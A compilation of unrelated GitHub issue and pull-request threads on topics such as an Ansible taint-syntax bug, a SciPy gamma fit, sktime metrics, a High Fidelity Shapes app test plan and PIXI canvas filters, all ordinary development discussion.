  ansible collection location = /home/user/.ansible/collections:/usr/share/ansible/collections
  executable location = /home/user/.local/bin/ansible
  python version = 3.9.5 (default, Jun  4 2021, 12:28:51) [GCC 7.5.0]
  jinja version = 3.0.3
  libyaml = True

Steps to Reproduce
Run the playbook with server taint enabled
Expected Results
in config.yaml:
node-taint:
  - CriticalAddonsOnly=true:NoExecute

Actual Results
in config.yaml:

node-taint:
  - [
  - ]
  -
  - [
  - C
  - r
...

Hi @yaeP0foorovaiRoo, thanks for reporting this bug. You are right, the syntax in those two tasks is not correct. It seems like it did work in older Ansible versions but since Ansible 6.0 the behavior is the same you described above.
The fix is on the way... :slightly_smiling_face:


Delete Account

Tasks:
[Done]  'Delete Code Account' option in 'My Account
[Done]  Deletion Confirmation
[-]  Deletion API
Screen Recording:  https://drive.google.com/file/d/1W41lhc0vR8dmwqBmYM_94MsRPtsiV0Bo/view?usp=drive_link

https://android-developers.googleblog.com/2023/04/giving-people-more-control-over-their-data.html


Create example binder repos

We need to do at least two things:

Make sure all the old binder examples point to our new examples that cover the same kinds of material
Cover some use-cases many people will have, using each of the languages / build workflows that we support.

Here's where new examples will be located:
https://github.com/binder-examples
Old repos

[x] requirements
[x] conda_environment
[ ] remote_storage
[ ] dockerfile
[ ] dockerfile_two

New repos

[ ] legacy dockerfile (using the andrewosh image)
[ ] from jupyter stacks dockerfile
[ ] from your own dockerfile

New usecases for which we should have repos:

ty. I'd add:

legacy dockerfile (using the andrewosh image)
from jupyter stacks dockerfile
from your own dockerfile

Not sure if this is the right place, but after I had some problems installing latex requirements for matplotllib, and not using Dockerfiles. So, in case you want to include this as an example, here is a working binder repo for using matplotlib with latex support:
https://github.com/m-weigand/binder-example-latex-mpl

Ack just saw this - thanks @m-weigand! I think it'd be helpful to show people how to build w/ latex.

we've added nearly all of these and I think we can consider the issue completed

@choldgraf :tada: :cake: Love the binder-examples org.


add reverse geocode

A few thoughts. Should token always be the first argument or last? Because right now it is inconsistent

One note is you only have to bump 3rd chunk of version since it’s a non-breaking change.

I made it "breaking" by fixing where the token argument goes, so I'm bumping the second


Fix pokemon plural form

As with the words deer and sheep, the singular and plural forms of the word "Pokémon" do not differ, nor does each individual species name; in short, it is grammatically correct to say both "one Pokémon" and "many Pokémon"

But should we force the acute accent? 😀

http://english.stackexchange.com/questions/336890/why-is-pokémon-written-with-an-accent


ENH:stats:Use explicit formula for gamma.fit('mm')

Reference issue
Closes gh-19884.
What does this implement/fix?
Code explicit formula for method of moment fitting of gamma distribution.
Additional information

Thanks for reviewing. Let me work on adding some tests.
As for the NB point about checking for data within support, technically it is not necessary for MM because the formulas do not rely on data within the support. This is unlike MLE, where data outside the support has a likelihood of zero, making the total likelihood identically zero regardless of parameter value, and therefore cannot be solved.
So data range check for MM is not a technical necessity but more of a sanity check on behalf of the user. I’m not keen to include such a check for MM, but if you think it’s worth having it I can add it too.
A side note with respect to MM: there’s no guarantee that the fitted parameters are within the range of valid parameters. This is a well known limitation / characteristic of MM. I currently do not check that the fitted parameters are within range, so that user has a chance to see what are the values, and delay the exception until they actually use the parameters (if they do). In a sense, this is arguably more prudent than returning some within-range but absurd parameters.
What do you think?

Please add tests like in gh-18824 that show this produces fits at least as good as the generic implementation.
Do you mean to include a script in the GitHub page to compare the old (generic) MM and the new (closed-form) MM and list the result?

No, I mean add property-based tests to test_distributions.py. Normally I'd also ask for results of more thorough testing here in the issue, but I don't think they're needed in this case because everything is closed form, so I don't expect reliability issues.

Thanks for adding tests. These are different from the tests in the linked PR in that they use hard-coded samples instead of samples that are generated at random, and they use hard-coded reference values (from where?) instead of using _assert_less_or_close_loglike, which is used by most of our fit tests. Please adjust to match these features of the tests in the referenced PR, or make the case for why this test is better. Thanks.

Thanks for reviewing. It makes a lot of sense. I have updated the test accordingly.
Sorry about the messy "force push"es .. I seem to have a hard time getting it right!

Sorry about the messy "force push"es .. I seem to have a hard time getting it right!

In the future, just regular push. We can clean b up the history at the end if we want to, but almost all PRs in stats get squash-merged anyway.

Thanks @fancidev; this looks great now.

@fancidev a recent SO question brought to my attention that loglaplace documentation does not mention how it is related to laplace. Also, when the location is provided, stats.laplace.fit (which implements analytical formulas) could be used on the log-transformed data, then the parameters can be converted to those of loglaplace. Does addressing these interest you (after gh-19977 is done)?

@fancidev a recent SO question brought to my attention that loglaplace documentation does not mention how it is related to laplace. Also, when the location is provided, stats.laplace.fit (which implements analytical formulas) could be used on the log-transformed data, then the parameters can be converted to those of loglaplace. Does addressing these interest you (after gh-19977 is done)?

First time I heard of log-laplace :-) Let me look it up after the other Issues/PRs are closed.


tabs indentation is removed by the fix option

I have only found two settings in the docs to do with tabs so I've got this jscs config:
// jscs-tabs.json5
{
"preset": "google",
"esnext": true,
"disallowMixedSpacesAndTabs": false, // either true or false or smart, doesn't matter
"disallowTabs": false
}
and this source file:
// tabbed.jst
'use strict';
var TemplateComponent = React.createClass({
Trender: function() {
TTreturn (
TTT""
TT);
T}
});
perl -pne 's{\A (T+)}{ "\t" x length($1) }xmsge' tabbed.jst > tabbed.js
ls-tabs.pl tabbed.js
9 lines read
0 lines with prefix spacing
5 lines with prefix tabs
spacing ok for tab stop 4
jscs --fix --config=jscs-tabs.json5 tabbed.js
ls-tabs.pl tabbed.js
4 ..render: function() {
5 |..|return (
6 |..|''
7 |..|);
8 ..}
9 lines read
5 lines with prefix spacing
0 lines with prefix tabs
spacing which mismatches tab depth (spaces=4) found.
So it has removed the tab characters and replaced them with two spaces.
Unsure how to specify a 4 character tab width and keep the tab indentation.

Sorry it is not unclear what file are you trying to lint here


Missing Translations - Misc Screens

Rancher Version: Master 5-27

[x] Account - Kind column

[x] [old] Catalog - View Details Button

[x] [old] Catalog - Category text in main drop-down

[x] [old] Edit Registry - example email text

[x] [old] Audit Logs - First & Next page buttons

[x] [old] Access - "Your Teams and Organizations" text in GitHub Group drop-down

[x] Add Account - Account Type (using local auth then Add Account)

[x] Add/Edit Environment - Types and Roles

[x] Add/Edit Environment - "Your Groups" text in the Group drop-down

[x] Kubernetes Services - Edit Service title Text

[x] Kubernetes Replication Controller - Edit title text

[x] Kubernetes Pod - Edit title text

[x] Kubernetes kubectl - "download (if needed)" text after Generating config

[x] Kubernetes Namespace - Add/Edit namespace main title

[x] Kubernetes/Mesos/Swarm - Waiting status

[x] Swarm - Docker CLI page

Version - master 7/15
Verified fixed


Adding Search and Favorites Functionality

Since amount of items added in list may be large in following templates, the search functionality and "Adding to Favorites" functionality which allow user to revisit that item later can be a great feature in generated app.

Info Template - Search Words and mark any word favorite for later revisiting.
Learn Spelling - Search and Favorite functionality
Flash Cards - Favorite Functionality
Video Collection - Search among collection and to mark any video favorite.
Dictation - Search passage by its title and mark any passage favorite for later practice.

@croozeus @opticod Your views on this. I will like to work on this.

I don't understand this. Are you suggesting changes in the toolkit i.e. template editor or the templates itself.

@croozeus I am suggesting the above for the template i.e. These features will be present in the generated template app. Same will be present in the simulator too.

Ok, then perhaps this should be in the @BuildmLearn/team-toolkit-mobile-templates  repo. Let's park this - I'll ask for feedback if this is actually required. I'm not leaning towards this though.

@croozeus Actually while using the Template app I myself  realized the need for this since for too long list , words may not be in alphabetical order so it becomes really tiresome to find the word you are looking for.
Similarly for practice I thought there are always some words or videos we want to see later or share but right now there no option other than to pen down somewhere.


Anyone has pytest working with docker-compose ?

I tried the following, but it does not work and prompt me with help information on command parameters for docker-compose:
docker-compose -f deploy/docker-compose.yml -f deploy/docker-compose.dev.yml --project-directory . run --build --rm api pytest -vv .

This command is used in tests.
docker-compose -f deploy/docker-compose.yml --project-directory . run --rm api pytest -vv .

I figured it out:
my docker-compose version was too old (1.2.x). After upgrading it to 2.24.x, it works beautifully! Thanks @s3rius


Move preparers from launcher-addon to core-impl

Including the ReadmeProcessor

@gastaldi I will do this one before #252


types: change names of references to include the resource type

SSHKey moved under Provisioning. Limited to only the private key. Renamed to SSHPrivateKeySecret.
Credentials under PlatformSecrets moved to Platform. Renamed to CredentialsSecret.
FederatedClusterRef renamed to FederatedCluster.
SecretRef under CertificateBundleSpec renamed to CertificateSecret.

https://jira.coreos.com/browse/CO-618

/hold
This is built on top of #660.

I don't think that these changes are right. According to the kubernetes API conventions [1], the names of the reference fields should end in "Ref". For example, CredentialsSecret should be CredentialsSecretRef.
[1] https://github.com/kubernetes/community/blob/master/contributors/devel/sig-architecture/api-conventions.md#object-references

Needs conflicts resolved.

Needs conflicts resolved.

Conflicts have been resolved now.

/lgtm

/hold cancel


Add DoorSensorState 0 to enum

Hi,
I have a Nuki Lock v3, but no other Nuki sensors.
Apparently, it delivers a DoorSensorState of 0, resulting in an exception in this integration.
It also makes the lock entity not work correctly (i.e. never updates).
Adding the DoorSensorState UNAVAILABLE = 0 to states.py solves all issues.
Could this be added for the next version?
class DoorSensorStates(BaseStates):
    UNAVAILABLE = 0
    ...

Strange, the bridge API doc doesn't mention 0 as a possible state:

Yup.. got the idea from here:
https://github.com/dauden1184/RaspiNukiBridge/issues/2
only seems to affect the Nuki V3 lock.
Works perfectly ever since adding that though.

They should update the docs...


Update development edition to have the exact api like enterprise edition

Some more features are added to enterprise edition and these need to be ported to development edition.

closed dup with #5


Add lock-indicator component

The lock indicator is used to show any active locks on ongoing jobs.
It is associated with a cooresponding record.
Signed-off-by: Joe Grund<EMAIL_ADDRESS>

Codecov Report

Merging #1041 into refactor-action-dropdown will not change coverage.
The diff coverage is n/a.

@@                    Coverage Diff                    @@
##           refactor-action-dropdown    #1041   +/-   ##
=========================================================
  Coverage                     95.42%   95.42%
=========================================================
  Files                             2        2
  Lines                           153      153
=========================================================
  Hits                            146      146
  Misses                            7        7

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 3942459...311f4a5. Read the comment docs.


Endcap tests

PR for endcap tracking.
Benchmarking plots coming soon.

Benchmarking http://uaf-6.t2.ucsd.edu/~cerati/mictest/2016-07-23-PR58/
Note that it takes much longer now since we have also tests in endcap.
I guess there should be some slimming...

+1 @dan131riley please sign off, too

I suppose not surprisingly for two such extensive patches, #58 conflicts with @kmcdermo's #57.  The conflicts do look pretty trivial to resolve.  Normally I'd give priority to the earlier PR, but I don't know what @cerati's availability is to update #58; any suggestions?

As Kevin says ... it might be easier to get Giuseppe's in first this time.

#58 is merged, and I've requested that @kmcdermo update #57 so it merges with the new head.


Update metric to handle y_train

Reference Issues/PRs

This addresses functionality in #712.
What does this implement/fix? Explain your changes.

Add functionality to accept y_train in __call__ method and pass to underlying function if it requires y_train.
Also updated underlying metric classes to inherit from BaseMetric.
Does your contribution introduce a new dependency? If yes, which one?

What should a reviewer concentrate their feedback on?

Any other comments?

PR checklist

For all contributions

[X] I've added myself to the list of contributors.
[ ] Optionally, I've updated sktime's CODEOWNERS to receive notifications about future changes to these files.
[ ] I've added unit tests and made sure they pass locally.

For new estimators

[ ] I've added the estimator to the online documentation.
[ ] I've updated the existing example notebooks or provided a new one to showcase how my estimator works.

@mloning and @fkiraly the more I'm looking at this while looking to simplify the unit tests for these metrics, it makes more and more sense to me that the metric functions in _functions.py should also get updated to accept y_train via 1**kwargs` so we have a uniform interface.
Difference to the user passing info to functions will be relatively minimal.
Benefit is that y_train would be passed same way to function as the __call__ of the class version of the metric:
mean_absolute_scaled_error(y_true, y_pred, y_train=y_train, ... # Any other keyword args like multioutput)
mase = MeanAbsoluteScaledError()
mase(y_true, y_pred, y_train=y_train)

versus the current function setup accepting y_train as arg and class version of metric accepting it as keyword:
mean_absolute_scaled_error(y_true, y_pred, y_train, ... # Any other keyword args like multioutput)
mase = MeanAbsoluteScaledError()
mase(y_true, y_pred, y_train=y_train)

Note that I'll do whatever we decide for y_train for metrics that accept y_pred_benchmark.
I'll start working on this, but check back here before pushing to github. Let me know if you don't think we should implement this change and I'll roll it back.

@mloning I think I've incorporated all your comments. As a bonus I've tweaked all the docstrings to better align with NumPy conventions and pass the pydocstyle checks.

@mloning I'm working on update to evaluate.
Ran into two minor hitches. First is that in the call to scoring within evaluate() the y_true and y_pred arguments were flipped (doesn't really matter for most metrics, but I fixed it).
The bigger hitch is that the test cases include in-sample predictions. In MeanAbsoluteScaledError() we have a check to make sure that y_train is before y_true. This makes sense in the context of forecast evaluation in general (and MASE's definition). But some of the test cases are looking at in-sample predictions and in those cases the check is failed in those cases; hence, the tests fail.
I can think of two options for approaching this:

We have separate test function for MASE that just tests the common configs with only the out-of-sample forecasting horizons
We remove the check in mean_absolute_scaled_error to require y_train prior to y_true

I am in the camp that MASE is designed to be applied when evaluating out-of-sample forecasts so we have the separate test function (plus in-sample evaluation is a bad estimate of model performance on new data). But what do you think?

@RNKuhns I agree, but perhaps the check that y_train is prior to y_true is a bit over eager and we make everything a bit simpler by not enforcing that. In principle MASE still works for in-sample predictions, so perhaps we should exclude that option. This moves the responsibility to users for making sure they're evaluating models on genuine forecasts which I think is fine. But happy to follow your lead here @RNKuhns.

@RNKuhns, I'm with @mloning on this one - in my opinion, the metric should just model the "bare" mathematical/scientific object, not make any checks regarding a plausible use case. This is because user expectations - they will expect the code object to behave as the scientific one, and because of the domain driven design principle to follow this mapping.
A secondary point - in my opinion not the main argument here, but it's to the same effect - is that it can make sense for a metric in-principle to have training and test time points overlapping, for example when you are trying to estimate over-optimism of in-sample estimates. We shouldn't exclude a rare sensible use case.

Now merged - great work @RNKuhns 🎉


Shapes app fixes

USER GUIDE
Running
Running the script adds a "SHAPES" tablet/toolbar icon.
The icon is disabled if you start up not connected to a domain or teleport to a domain where you don't have rez or rez-temp permissions. However, once enabled it stays enabled if the domain stops, or if you teleport to a domain that isn't connected. (I.e., same behavior as edit.js's icon.)
Enable or disable editing by clicking the app icon to display a dialog that has a button that toggles the app on and off. The app can only be turned on if you're in a domain where you have rez or rez-temp permissions. The app is automatically turned off in you teleport to a domain where you don't have rez or rez-temp permissions.
When the app is on, the app icon is highlighted and a "Tools" menu and "Create" palette are attached to your non-dominant hand. (Use Settings > Avatar > Dominant Hand to set your dominant hand.)
The UI is hidden if your hand is at or inside an entity but your viewpoint is outside it.
Grabbing

This is the default action for each hand with no tool active (i.e., no tool icon on your non-dominant hand).
Make your hand or blue laser (partially squeezed trigger) intersect an entity. All the entities in that entity's parent/child tree are highlighted in yellow.
Fully squeeze the trigger to grab the set of entities. The entities stop being highlighted and start translating and rotating 1-1 with your hand translation and rotation.
You can grab and manipulate two sets of entities simultaneously: one with each hand/laser.
To delete the grabbed entities, press the grip trigger/button on the controller that's grabbing them. This is an alternative to using the Delete tool.
The following entity types cannot be grabbed: light, particle effect, and zone.

NOTE: Entities are only highlighted if visible and grabbable if the root of the tree is not locked, and not a zone, light, or particle effect.
Scale With Hands

This is the default action when using both hands on the same entity or set of entities.
Make your second hand/laser intersect an entity in the set you have grabbed with your first hand. All the entities in the set are highlighted in cyan.
Fully squeeze your second hand's trigger. The entities stop being highlighted and start being scaled and rotated as you move your hands.
If you let go with one hand, the entities continue to be grabbed by the hand still grabbing them.

Tools Menu

To activate a tool, click on its button. An icon representing it is attached to your dominant hand.
To deactivate a tool, hover the title bar so that it displays "Back" and click it, or click a grip trigger/button on a hand that you're not grabbing entities with. (See also, the Delete tool.)
The following entity types cannot be operated on: light, particle effect, and zone.

Scale With Handles Tool

Make your hand or blue laser (partially squeezed trigger) intersect an entity. All the entities in that entity's parent/child tree are highlighted in cyan - to indicate "about to scale".
Fully squeeze the trigger to grab the set of entities. Scale handles are displayed and the entities start translating and rotating 1-1 with your hand translation and rotation.
Grab a handle with your second hand / laser and move it. The entity is scaled in that axis if a face handle, or as a whole if a corner handle.
Face handles are not displayed if multiple entities are selected. (Some may be at an angle relative to the root entity which would necessitate a shear transform - not available in Interface - be applied to them when scaling a face of the set.)
Z-axis handles are not displayed if scaling a text or Web entity.

Clone Tool

Make your hand or blue laser (partially squeezed trigger) intersect an entity.
Fully squeeze the trigger to clone the set of entities and then start grabbing it.

Group/Ungroup Tool

Select one or more sets of entities by clicking on them. Selected entities are highlighted in magenta.
Green "Group" button: Press this button to group the entities selected in a parent-child relationship. The first entity or entity selected is used as the parent. (Button is enabled only if two or more sets of entities are selected.)
Red "Ungroup" button: Press this button to ungroup the enttiy set selected. (Button is enabled only if one entity set with two or more entities is selected.)
"Select in box" dotted rectangle button: When this is toggled on, a bounding box emcompassing your selected items is drawn and all entity sets contained within this box are automatically selected. The orientation of the bounding box is per the orientation of first entity in the first entity set selected.
"Clear" button: Deselects all entities.
Grouping and ungrouping is relative to the root entity of the first entity set selected.
You can group and ungroup more than one level of parent-child relationships.

Color Tool

Click on and drag your laser beam in the color circle and slider to change the color in the "current color" patch.
Click on an entity to apply the color in the "current color" patch to that entity.
For entity sets, only the intersected entity is highlighted and the color is applied to only that entity.
Only shape (box, sphere, cylinder, etc.) and polyline entity types can be colored.
There are several color swatches, empty by default.
Trigger-click an empty color swatch to set its color to the current color.
Grip-click a filled color swatch to clear it to empty.
Color swatches persist across Interface runs.
Click the "Pick" button to change into "pick color" mode, then click on an entity to pick that entity's color as the current color. You can pick colors from both unlocked and locked entities.

The following entity types do not take color:

Model.
Web.
Text.

Physics Tool

Adjust the settings in the options panel then click on an entity to apply them to that entity or entity set.
Physics settings persist across Interface runs.

The following entity types do not take gravity:

Web.
Text.

NOTE: With entity sets, the physics is applied to the root entity and child entities' properties are adjusted as necessary to make physics work within High Fidelity's current limitations w.r.t. physics and entity sets.
NOTE: With entity sets, only the root entity collides with other entities (a current limitation of High Fidelity).
Delete Tool

Make your hand or blue laser (partially squeezed trigger) intersect an entity.
Fully squeeze the trigger to delete the entity or set of entities.
Alternatively, you can delete entities without using this tool by grabbing them and clicking the grip trigger/button.

Undo, Redo

Press the undo button one or more times to undo your latest edits.
After undoing some edits, you can redo them by pressing the redo button.
If you undo some edits then make a new edit, the new edits that you undo are forgotten (i.e., the new edit replaces them in your edit history).
There's an error beep if there's nothing to undo or redo when you press the button.

Create Palette

Click an entity represented in the palette and the entity will be created at your hand.
If you continue to hold the trigger pressed the entity is automatically grabbed.

TEST PLAN
TESTING: Please test with the current, public release of High Fidelity, 0.72.0.
A: Test Fixes
1)
Desktop mode. Open the Shapes app dialog (click icon in toolbar) and with the dialog open, restart the script in the Running Scripts dialog.

The Shapes app dialog should close.
The Shapes app should restart turned "off" (toolbar icon not highlighted, dialog reflects this when you redisplay it).

2)
In HMD mode with the Shapes app turned on.

Check that the lasers display and work on the Shapes UI and for grabbing an entity.
Open the script log window, Developer > Script Log (HMD Friendly).
Check that the lasers display and work on the Shapes UI and for grabbing an entity.
Use the Running Scripts dialog to close the debug window (stop the debugWindow.js script). (Known problem: You cannot use the laser to close the debug window with the Shapes app running.)
Check that the lasers display and work on the Shapes UI and for grabbing an entity.

3)
Check that Shapes lasers are disabled when app is turned on until after any trigger presses are released.

View non-Shapes and Shapes lasers:

Without the Shapes app turned on, pull the triggers and note the default lasers (e.g., red beam into distance).
Release the triggers.
Turn on the Shapes app.
Pull the triggers and note the Shapes app's lasers (e.g., red beam into distance with noticeable sphere at the end).

Turn off the Shapes app.
Check the right hand laser stays default while the Shapes app is turned on, until after the trigger is released.

Pull the right hand trigger so that the default laser turns on.
With the left hand, turn the Shapes app on.
The right hand laser should stay as the default.
The left hand laser should be the Shapes app laser.
Release and pull the right trigger.
The right laser should be the Shapes laser.

Check the left hand laser stays default while the Shapes app is turned on, until after the trigger is released.

Repeat the right hand tests with the hands swapped.

4)
Check that the Shapes app UI is displayed while inside a particle entity that's parented to another entity such as a cube.

Use the Create app to create two ParticleEffect entities plus a cube entity.
Parent one of the ParticleEffect entities to the cube entity.
Turn on the Shapes app.
Grab and move the cube entity; the attached ParticleEffect entity should move with the cube.
Walk inside the attached ParticleEffect entity. The Shapes UI should continue to display. And you should be able to laser on and grab the cube entity and move it (and the attached ParticleEffect entity).
Walk inside the unattached ParticleEffect entity. The Shapes UI should continue to display.

B: Normal Test
KNOWN ISSUES:

Line entity types are not supported.

Running

General test per User Guide.
If you're in a domain where you don't have rez or rez-temp permissions and you try to turn the app on, an error beep is emitted when you press the button, a notification message is displayed, and the app UI does not appear on your hand.
If the app is on and your domain stops or restarts, the app remains on (app UI disappears then reappears) though any current tool is dropped and it returns to the main menu.
If your permissions are updated so that you no longer have rez or rez-temporary permissions, the UI closes if it is open and the app button is disabled.
With editing active the following non-editing functions still work:

Laser and stylus on tablet UI and "x" button.
Grabbing and moving the tablet.
Teleporting using the controller teleport button.

Test basics of operation (e.g., lasers) work when activate the app in desktop mode before entering HMD mode, and when activate app while in HMD mode.

Grabbing

General test per User Guide.
Entity types that can be highlighted and grabbed:

Model
Shape (box, sphere, cylinder, etc.)
Text
Web
PolyLine

Entity types that cannot be highlighted or grabbed:

Zone
Light
ParticleEffect

Locked entities are highlighted but cannot be grabbed.
Invisible entities are not highlighted and cannot be grabbed.

KNOWN ISSUES:

Polylines cannot be laser-highlighted or laser-grabbed.

Scale With Hands

General test per User Guide.
Test scaling entities and groups of entities with center and off-center registration points. Check rotations of children.

Tools Menu

General test per User Guide.
Entity types that cannot be operated on:

Zone
Light
ParticleEffect

Scale With Handles Tool

General test per User Guide.
Test scaling entities and groups of entities with center and off-center registration points. Check rotations of children.
Test grabbing entities in different positions (e.g., center, one end, etc.).

Clone Tool

General test per User Guide.
Test cloning entities with both hands simultaneously.

Group/Ungroup Tool

General test per User Guide.
Test grouping and ungrouping several levels of groups.
Test grouping and ungrouping different the entity types able to be highlighted per "Grabbing".

Color Tool

General test per User Guide.

Physics Tool

General test per User Guide.
Test grouping and ungrouping entity sets with physics (gravity and collisions) applied.

When grouping, the resulting entity set has phycis if the parent selected has physics.
When ungrouping, if the entity set has physics then just resulting parent entity or group has physics and the detached children have default (i.e.) no physics.

POSSIBLE ISSUE: Some shapes other than box and sphere cannot be grabbed with controllerDispatcher.js. FB7333
Delete Tool

General test per User Guide.

Undo, Redo

General test per User Guide, for all app features.

Create Palette

General test per User Guide.
Test creating entities while a tool is active. The entity should be created without the tool being applied (e.g., entity not colored, etc.).

Miscellaneous Tests

The UI is attached to your physical hands, not your avatar's hands.

When wearing an avatar with short arms, the UI is positioned at the location of your physical hands.
When in 3rd person view, the UI is positioned at the location of your physical hands. You can switch between first and third person views and the UI remains attached to your physical hands.
You can change dominant hands and the UI remains attached to your physical hands.

You can use the tablet while the app is enabled.
Test operations while you're inside an entity (e.g., inside a house model): you should be able to grab, create, color, etc., entities the same as if you're not inside an entity. Except that the entity you're inside is not highlighted unless you laser it or one of the entities in its linkset.
When the app is running and you change your avatar, the UI closes. You can open it again by clicking the app icon.
The UI is usable (readable) in low-light conditions, i.e., the necessary parts of the UI are bright.
In your sandbox, unlock the builders grid and check that the UI still displays OK while you're standing on the grid.

TEST PLAN
TESTING: Please test with the current, public release of High Fidelity, 0.72.0.
A: Test Fixes
1)
Desktop mode. Open the Shapes app dialog (click icon in toolbar) and with the dialog open, restart the script in the Running Scripts dialog.

The Shapes app dialog should close.
The Shapes app should restart turned "off" (toolbar icon not highlighted, dialog reflects this when you redisplay it).

2)
In HMD mode with the Shapes app turned on.

Check that the lasers display and work on the Shapes UI and for grabbing an entity.
Open the script log window, Developer > Script Log (HMD Friendly).
Check that the lasers display and work on the Shapes UI and for grabbing an entity.
Use the Running Scripts dialog to close the debug window (stop the debugWindow.js script). (Known problem: You cannot use the laser to close the debug window with the Shapes app running.)
Check that the lasers display and work on the Shapes UI and for grabbing an entity.

3)
Check that Shapes lasers are disabled when app is turned on until after any trigger presses are released.

View non-Shapes and Shapes lasers:

Without the Shapes app turned on, pull the triggers and note the default lasers (e.g., red beam into distance).
Release the triggers.
Turn on the Shapes app.
Pull the triggers and note the Shapes app's lasers (e.g., red beam into distance with noticeable sphere at the end).

Turn off the Shapes app.
Check the right hand laser stays default while the Shapes app is turned on, until after the trigger is released.

Pull the right hand trigger so that the default laser turns on.
With the left hand, turn the Shapes app on.
The right hand laser should stay as the default.
The left hand laser should be the Shapes app laser.
Release and pull the right trigger.
The right laser should be the Shapes laser.

Check the left hand laser stays default while the Shapes app is turned on, until after the trigger is released.

Repeat the right hand tests with the hands swapped.

4)
Check that the Shapes app UI is displayed while inside a particle entity that's parented to another entity such as a cube.

Use the Create app to create two ParticleEffect entities plus a cube entity.
Parent one of the ParticleEffect entities to the cube entity.
Turn on the Shapes app.
Grab and move the cube entity; the attached ParticleEffect entity should move with the cube.
Walk inside the attached ParticleEffect entity. The Shapes UI should continue to display. And you should be able to laser on and grab the cube entity and move it (and the attached ParticleEffect entity).
Walk inside the unattached ParticleEffect entity. The Shapes UI should continue to display.

B: Normal Test
KNOWN ISSUES:

Line entity types are not supported.

Running

General test per User Guide.
If you're in a domain where you don't have rez or rez-temp permissions and you try to turn the app on, an error beep is emitted when you press the button, a notification message is displayed, and the app UI does not appear on your hand.
If the app is on and your domain stops or restarts, the app remains on (app UI disappears then reappears) though any current tool is dropped and it returns to the main menu.
If your permissions are updated so that you no longer have rez or rez-temporary permissions, the UI closes if it is open and the app button is disabled.
With editing active the following non-editing functions still work:

Laser and stylus on tablet UI and "x" button.
Grabbing and moving the tablet.
Teleporting using the controller teleport button.

Test basics of operation (e.g., lasers) work when activate the app in desktop mode before entering HMD mode, and when activate app while in HMD mode.

Grabbing

General test per User Guide.
Entity types that can be highlighted and grabbed:

Model
Shape (box, sphere, cylinder, etc.)
Text
Web
PolyLine

Entity types that cannot be highlighted or grabbed:

Zone
Light
ParticleEffect

Locked entities are highlighted but cannot be grabbed.
Invisible entities are not highlighted and cannot be grabbed.

KNOWN ISSUES:

Polylines cannot be laser-highlighted or laser-grabbed.

Scale With Hands

General test per User Guide.
Test scaling entities and groups of entities with center and off-center registration points. Check rotations of children.

Tools Menu

General test per User Guide.
Entity types that cannot be operated on:

Zone
Light
ParticleEffect

Scale With Handles Tool

General test per User Guide.
Test scaling entities and groups of entities with center and off-center registration points. Check rotations of children.
Test grabbing entities in different positions (e.g., center, one end, etc.).

Clone Tool

General test per User Guide.
Test cloning entities with both hands simultaneously.

Group/Ungroup Tool

General test per User Guide.
Test grouping and ungrouping several levels of groups.
Test grouping and ungrouping different the entity types able to be highlighted per "Grabbing".

Color Tool

General test per User Guide.

Physics Tool

General test per User Guide.
Test grouping and ungrouping entity sets with physics (gravity and collisions) applied.

When grouping, the resulting entity set has phycis if the parent selected has physics.
When ungrouping, if the entity set has physics then just resulting parent entity or group has physics and the detached children have default (i.e.) no physics.

POSSIBLE ISSUE: Some shapes other than box and sphere cannot be grabbed with controllerDispatcher.js. FB7333
Delete Tool

General test per User Guide.

Undo, Redo

General test per User Guide, for all app features.

Create Palette

General test per User Guide.
Test creating entities while a tool is active. The entity should be created without the tool being applied (e.g., entity not colored, etc.).

Miscellaneous Tests

The UI is attached to your physical hands, not your avatar's hands.

When wearing an avatar with short arms, the UI is positioned at the location of your physical hands.
When in 3rd person view, the UI is positioned at the location of your physical hands. You can switch between first and third person views and the UI remains attached to your physical hands.
You can change dominant hands and the UI remains attached to your physical hands.

You can use the tablet while the app is enabled.
Test operations while you're inside an entity (e.g., inside a house model): you should be able to grab, create, color, etc., entities the same as if you're not inside an entity. Except that the entity you're inside is not highlighted unless you laser it or one of the entities in its linkset.
When the app is running and you change your avatar, the UI closes. You can open it again by clicking the app icon.
The UI is usable (readable) in low-light conditions, i.e., the necessary parts of the UI are bright.
In your sandbox, unlock the builders grid and check that the UI still displays OK while you're standing on the grid.


About Tirana: new text proposal

The text about biking is quite outdated. Let's keep this one for the moment until we found a better text.
Moving around the city by bike might be the best way to go to your destination, but you need to be quite careful and be safe. For all other bike equipment or repairs, Rruga Qemal Stafa is Tirana’s (location: https://osm.org/go/xexSwKz1L--?m=) unofficial “bike street” with lots of little, inexpensive bike shops. New combined bus and bike lanes have been opened recently on some main streets. Bike-only lanes are located on Skanderbeg Square, Deshmoret e Kombit Boulevard and on sidewalks along Lana River and Kavaja Street. However, cycling in the main street can be quite dangerous as lanes are narrow or occupied by parked vehicles (but car drivers have become more careful during the last few years) and a lot of pedestrians jump in.

Updated biking section with this content.


Adding ColorMatrixFilter support to Canvas/2d rendering

Now just in case you try to say "no way, it would be too slow!", I just want to point out that it is little different from how we are supporting Canvas/2d tinting support today.  In my own project, I use ColorMatrixFilter a lot, and it has been a pain to get a "good enough" effect in Canvas/2d when the webgl version looks awesome.  So after realizing that most of the infrastructure is in the pixi code base already to support tinting, I adapted it so that I can get ColorMatrixFilter support as well.  Of course, it doesn't try to support other filter types, but ColorMatrixFilter is very powerful and worth supporting.  I'd be happy to contribute code somehow (I'm not super familiar with the process for that).  But I wanted to first raise it to your attention.  Maybe it is easy for you to add since tinting is similar.  Maybe there are other things to consider.  I'd just like to make this feature part of the main product so that I don't have to deal with merging my changes with new versions of PIXI as I upgrade.  Thoughts?

filters are not supported on canvas, the only way to do this would be to use GetImageData, manipulate it and draw it back to canvas. The filter we have written for webgl wouldn't be the code that runs for the canvas version so it would be the creation of an entirely new system built soley for emulating shader effects on canvas. That is way out of the scope of pixi.js

But tinting uses the getImageData technique as well. That's what I mean by saying the system or infrastructure is already in place. It is not much different. If it required a lot of effort, I would not have attempted it, much less pulled it off in a day. So if this is beyond scope, why wasn't tinting?

Because tinting is done once on change and cached. Filters are dynamic. They have arbitrary code, they have parameters that change, they can be applied to arbitrary objects, they may have multiple passes, they may have multiple render targets,  etc.
Comparing filters to tint isn't a fair comparison. There is a huge difference between implementing a single cached pixel manipulation on a texture and building a system for running shader-like code on an array of pixels on the cpu.  That isn't true for nearly all filters.
